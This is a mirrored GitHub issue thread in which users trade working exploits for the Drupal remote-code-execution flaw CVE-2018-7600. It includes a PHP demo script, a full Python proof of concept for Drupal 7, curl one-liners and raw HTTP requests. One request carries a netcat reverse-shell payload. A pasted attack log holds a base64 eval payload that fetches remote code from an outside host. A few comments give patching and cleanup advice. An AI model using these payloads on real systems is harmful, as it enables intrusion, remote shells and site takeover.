Code Monkey home page Code Monkey logo

Comments (20)

nixawk avatar nixawk commented on July 30, 2024 1

Clean URLs
Disabled
Your server is capable of using clean URLs, but it is not enabled. Using clean URLs gives an improved user experience and is recommended. Enable clean URLs

# a2enmod rewrite
# cat /etc/apache2/apache2.conf
....
<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>
...
# cat /var/www/html/.htaccess 
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !=favicon.ico
RewriteRule ^ index.php [L]

from labs.

nixawk avatar nixawk commented on July 30, 2024 1
---->> Filename: /path/to/drupal/core/lib/Drupal/Core/Render/Renderer.php
---->> Function: doRender()

// Filter the outputted content and make any last changes before the content
// is sent to the browser. The changes are made on $content which allows the
// outputted text to be filtered.
if (isset($elements['#post_render'])) {
  foreach ($elements['#post_render'] as $callable) {
    if (is_string($callable) && strpos($callable, '::') === FALSE) {
      $callable = $this->controllerResolver->getControllerFromDefinition($callable);
    }
    $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
  }
}

public function getControllerFromDefinition($controller, $path = '') {
  if (is_array($controller) || is_object($controller) && method_exists($controller, '__invoke')) {
    return $controller;
  }
  if (strpos($controller, ':') === FALSE) {
    if (function_exists($controller)) {
      return $controller;
    }
    elseif (method_exists($controller, '__invoke')) {
      return new $controller();
    }
  }
  $callable = $this
    ->createController($controller);
  if (!is_callable($callable)) {
    throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
  }
  return $callable;
}

from labs.

nixawk avatar nixawk commented on July 30, 2024

print os command output directly.

$ py3 exploit-CVE-2018-7600.py http://192.168.1.19 "ls -al"
total 276
drwxr-xr-x  9 root root   4096 Apr 14 05:38 .
drwxr-xr-x  3 root root   4096 Apr 13 22:27 ..
-rw-r--r--  1 root root    867 Apr 12 22:20 .htaccess
drwxr-xr-x  3 root root   4096 Apr 14 05:32 .idea
-rw-r--r--  1 root root  18092 Apr 13 10:24 LICENSE.txt
-rw-r--r--  1 root root   5889 Apr 13 10:24 README.txt
-rw-r--r--  1 root root    262 Apr 13 10:24 autoload.php
-rw-r--r--  1 root root   2247 Apr 13 10:24 composer.json
-rw-r--r--  1 root root 150618 Apr 13 10:24 composer.lock
drwxr-xr-x 12 root root   4096 Apr 13 10:24 core
-rw-r--r--  1 root root   1272 Apr 13 10:24 example.gitignore
-rw-r--r--  1 root root    549 Apr 13 10:24 index.php
drwxr-xr-x  2 root root   4096 Apr 13 10:24 modules
-rw-r--r--  1 root root     19 Apr 13 22:38 phpinfo.php
drwxr-xr-x  2 root root   4096 Apr 13 10:24 profiles
-rw-r--r--  1 root root   1596 Apr 13 10:24 robots.txt
drwxr-xr-x  3 root root   4096 Apr 13 10:24 sites
drwxr-xr-x  2 root root   4096 Apr 13 10:24 themes
-rw-r--r--  1 root root    848 Apr 13 10:24 update.php
drwxr-xr-x 17 root root   4096 Apr 13 10:24 vendor
-rw-r--r--  1 root root   4555 Apr 13 10:24 web.config

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 167
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=nohup+nc+-e+%2Fbin%2Fbash+127.0.0.1+4444+%26HTTP/1.1 200 OK
Date: Fri, 13 Apr 2018 02:45:34 GMT
Server: Apache/2.4.29 (Debian)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 156
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

from labs.

nixawk avatar nixawk commented on July 30, 2024

drupal-rce-debug

from labs.

nixawk avatar nixawk commented on July 30, 2024
---->> Filename: core/lib/Drupal/Core/Controller/ControllerResolver.php
---->> Function: getControllerFromDefinition

passthru

  public function getControllerFromDefinition($controller, $path = '') {
    if (is_array($controller) || (is_object($controller) && method_exists($controller, '__invoke'))) {
      return $controller;
    }

    if (strpos($controller, ':') === FALSE) {
      if (function_exists($controller)) {   // ---->> If $controller == 'passthru', return True
        return $controller;
      }
      elseif (method_exists($controller, '__invoke')) {
        return new $controller();
      }
    }

    $callable = $this->createController($controller);

    if (!is_callable($callable)) {
      throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
    }

    return $callable;
  }

base64_encode

public function getControllerFromDefinition($controller, $path = '') {
if (is_array($controller) || (is_object($controller) && method_exists($controller, '__invoke'))) {
  return $controller;
}

if (strpos($controller, ':') === FALSE) {
  if (function_exists($controller)) {   // ----> If $controller == 'base64_encode', return False
    return $controller;
  }
  elseif (method_exists($controller, '__invoke')) {
    return new $controller();
  }
}

$callable = $this->createController($controller);

if (!is_callable($callable)) {
  throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
}

return $callable;
}

from labs.

nixawk avatar nixawk commented on July 30, 2024

A php demo is prepared for exp tests. It shows how to exploit CVE-2018-7600.

root@lab:~# php /tmp/bug.php passthru id
PHP Warning:  Parameter 2 to passthru() expected to be a reference, value given in /tmp/bug.php on line 38
PHP Stack trace:
PHP   1. {main}() /tmp/bug.php:0
PHP   2. drupal_cve_2018_7600() /tmp/bug.php:45
uid=0(root) gid=0(root) groups=0(root)


root@lab:~# php /tmp/bug.php printf drupal
drupal6

<?php

// Author: Nixawk
// CVE-2018-7600: Unsanitized requests allow remote attackers to execute arbitrary code

// Usage:
// $ php drupal-rce-php.php passthru id

function drupal_cve_2018_7600($func, $param)
{
    $elements = array(
        "#markup" => "{Drupal\Core\Render\Markup}",
        "#type"   => "markup",
        "#post_render" => array(
        0 => $func
        ),
        "#suffix" => "<span class=\"ajax-new-content\"></span>",
        "#prefix" => "",
        "#cache"  => array(
            "contexts" => array(
            0 => "languages:language_intreface",
            1 => "theme",
            2 => "user.permissions"
            ),
            "tags" => array(),
        "max-age" => -1
        ),
        "#defaults_loaded" => true,
        "#attached" => array(),
        "#children" => array(
          "string" => $param
        )
    );

    // echo $elements['#children']["string"] . "\n";

    $elements['#children']["string"] = call_user_func(
        // $callable = $elements["#post_render"]["0"];
        $elements["#post_render"]["0"],
        $elements['#children']["string"], 
        $elements
    );

    echo $elements['#children']["string"] . "\n";

}

drupal_cve_2018_7600($argv[1], $argv[2]);

?>

from labs.

nixawk avatar nixawk commented on July 30, 2024
apt-get update
apt-get install apache2 php
apt-get install mariadb-server-10.1 mariadb-client-10.1
apt-get install php-mysql php-gd php-xml php-xdebug
# apache2 --version
[Sat Apr 14 10:02:10.979265 2018] [core:warn] [pid 10482] AH00111: Config variable ${APACHE_RUN_DIR} is not defined
apache2: Syntax error on line 80 of /etc/apache2/apache2.conf: DefaultRuntimeDir must be a valid directory, absolute or relative to ServerRoot

# php --version
PHP 7.2.4-1 (cli) (built: Apr  5 2018 08:50:27) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.4-1, Copyright (c) 1999-2018, by Zend Technologies

# java -version
java version "10" 2018-03-20
Java(TM) SE Runtime Environment 18.3 (build 10+46)
Java HotSpot(TM) 64-Bit Server VM 18.3 (build 10+46, mixed mode)
# service mysql start
# cat <<EOF > adduser.sql
USE mysql;
CREATE USER 'mysqlsec'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'localhost' WITH GRANT OPTION;
CREATE USER 'mysqlsec'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'%' WITH GRANT OPTION;
SELECT USER,PASSWORD,HOST FROM USER;
EOF
# mysql -h 127.0.0.1 -u root -p mysql < adduser.sql
# service apache2 start
# apachectl -M
# wget https://ftp.drupal.org/files/projects/drupal-8.4.5.tar.gz
# tar xvf drupal-8.4.5.tar.gz -C /tmp/
# rm -rf /var/www/html/index.html
# cp -rf /tmp/drupal-8.4.5/* /var/www/html/
# mkdir /var/www/html/sites/default/files
# cp /var/www/html/sites/default/default.settings.php /var/www/html/sites/default/settings.php
# chown -R www-data:www-data /var/www/html/
# a2enmod rewrite
# cat /etc/apache2/apache2.conf
....
<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>
...

# cat /var/www/html/.htaccess 
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !=favicon.ico
RewriteRule ^ index.php [L]
# tar xvf jdk-10_linux-x64_bin.tar.gz
# mv jdk-10/ /opt/
# cd /opt/jdk-10/
# update-alternatives --install /usr/bin/java java /opt/jdk-10/bin/java 1
# update-alternatives --install /usr/bin/javac javac /opt/jdk-10/bin/javac 1
# update-alternatives --set java /opt/jdk-10/bin/java
# update-alternatives --set javac /opt/jdk-10/bin/javac
# tar xvf PhpStorm-2018.1.1.tar.gz -C /tmp/
# mv /tmp/PhpStorm-181.4445.72/ /usr/share/phpstorm
# /usr/share/phpstorm/bin/phpstorm.sh
# cat /etc/php/7.2/apache2/conf.d/20-xdebug.ini 
zend_extension=xdebug.so
xdebug.remote_enable=1
xdebug.remote_handler=dbgp
xdebug.remote_host=127.0.0.1
xdebug.remote_port=9000
xdebug.remote_log="/var/log/xdebug/xdebug.log"
javascript:(/** @version 0.5.2 */function() {document.cookie='XDEBUG_SESSION='+'PHPSTORM'+';path=/;';})()

javascript:(/** @version 0.5.2 */function() {document.cookie='XDEBUG_SESSION='+''+';expires=Mon, 05 Jul 2000 00:00:00 GMT;path=/;';})()

References

from labs.

antonio-fr avatar antonio-fr commented on July 30, 2024

Can you say whether the response of the command (exec, passthru,...) is in data field or at the beginning or the POST response?
I'm using passthru and Drupal v8.5.0 and the server responds with the output just before the normal response:
Commad_Output[{"command":"insert","method":"replaceWith",... }]

See at: https://github.com/antonio-fr/DrupalRS

In the exploit code here-upper provided by @nixawk , tested on v8.4, the output is sent back in data field. So I'm wondering if this is specific to v8.5, or for the passthru command?

from labs.

dbjpanda avatar dbjpanda commented on July 30, 2024

I am able to exploit with Drupal 8 but It doesn't work with Drupal 7 . Does it really work for D7 as well ?

from labs.

nixawk avatar nixawk commented on July 30, 2024

@antonio-fr The exploit tests against drupal 8.4.5. If passthru should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser.

From php.net

void passthru ( string $command [, int &$return_var ] )

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.

data-field

from labs.

nixawk avatar nixawk commented on July 30, 2024

@dbjpanda Please try FireFart's Poc for 7.x.

#!/usr/bin/env python3

"""
Written by Christian Mehlmauer
  https://firefart.at/
  https://twitter.com/_FireFart_
  https://github.com/FireFart
This script can be obtained from:
  https://github.com/FireFart/CVE-2018-7600
Requirements:
  - python3
  - python requests (pip install requests)
Usage:
  - Install dependencies
  - modify the HOST variable in the script
  - run the code
  - win
"""

import requests
import re

HOST="http://192.168.60.129/"

get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)

m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
    found = m.group(1)
    get_params = {'q':'file/ajax/name/#value/' + found}
    post_params = {'form_build_id':found}
    r = requests.post(HOST, data=post_params, params=get_params)
    print(r.text)

Vulnerability Details can be here:

from labs.

antonio-fr avatar antonio-fr commented on July 30, 2024

@nixawk
Thx for telling me about passthru. I was thinking erroneously that the answer was extracted from response data field in your code. So I didn't understand if some systems or queries would answer like that. I did some tests on various config and the response were always in server response overhead (before [command:... ). Then, I have updated my Drupal own script published on Github with v7. It is python without requests dependencies.

from labs.

nixawk avatar nixawk commented on July 30, 2024

Good job !

from labs.

jedthe3rd avatar jedthe3rd commented on July 30, 2024

Is there any reason I would be getting no output? I setup a drupal 8.4.5 locally and when I run the script I get no output.

from labs.

alfonsocaponi avatar alfonsocaponi commented on July 30, 2024

I follow the instructions but it seems that the version 8.4.5 is not vulnerable on my system:

Ubuntu 16.04.3 LTS
PHP Version 7.0.22-0ubuntu0.16.04.1

other evidences?

from labs.

nixawk avatar nixawk commented on July 30, 2024

@alfonsocaponi Could you share your packets here ? A pcap may be useful.

from labs.

alfonsocaponi avatar alfonsocaponi commented on July 30, 2024

POST /user/register?element_parents=account%2Fmail%2F%23value&_wrapper_format=drupal_ajax&ajax_form=1 HTTP/1.1
Host: 192.168.253.128
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.12.4
Content-Length: 130
Content-Type: application/x-www-form-urlencoded

mail%5B%23markup%5D=pwd&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=passthruHTTP/1.1 200 OK
Date: Mon, 23 Apr 2018 11:48:42 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 156
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C/span\u003E","settings":null}]
dump.zip

from labs.

gamebenchjake avatar gamebenchjake commented on July 30, 2024

Just got hit with this exploit running 8.5.4, clean-urls are enabled:

176.126.252.11 - - [08/Jun/2018:13:01:41 +0200] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22ZXZhbChmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2Nhc3RsZWphenouY2gvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2luc2Rmc2R2cy50eHQiICkgKSA7%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup HTTP/1.1" 200 35140 "https://<URL PLACEHOLDER>/?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22ZXZhbChmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2Nhc3RsZWphenouY2gvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2luc2Rmc2R2cy50eHQiICkgKSA7%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko"

from labs.

malworm avatar malworm commented on July 30, 2024

curl --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id' 'http://127.0.0.1/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'

i'm my case the result is:

[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C/span\u003E","settings":null}]

drupal version is 8.5.0...

from labs.

gamebenchjake avatar gamebenchjake commented on July 30, 2024

@violennz Update to 8.5.4, the patch was included in 8.5.1, so hopefully it'll mitigate the majority of attempts, though I'm still being hit with it at 8.5.4

Also, you can run this to clean your drupal site:

find ./ -type f -name "*.php" -exec sed -i s/.*457563643.*/\<\?php/g {} +

That should remove the injected header line and replace it back with your opening <?php tag

from labs.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.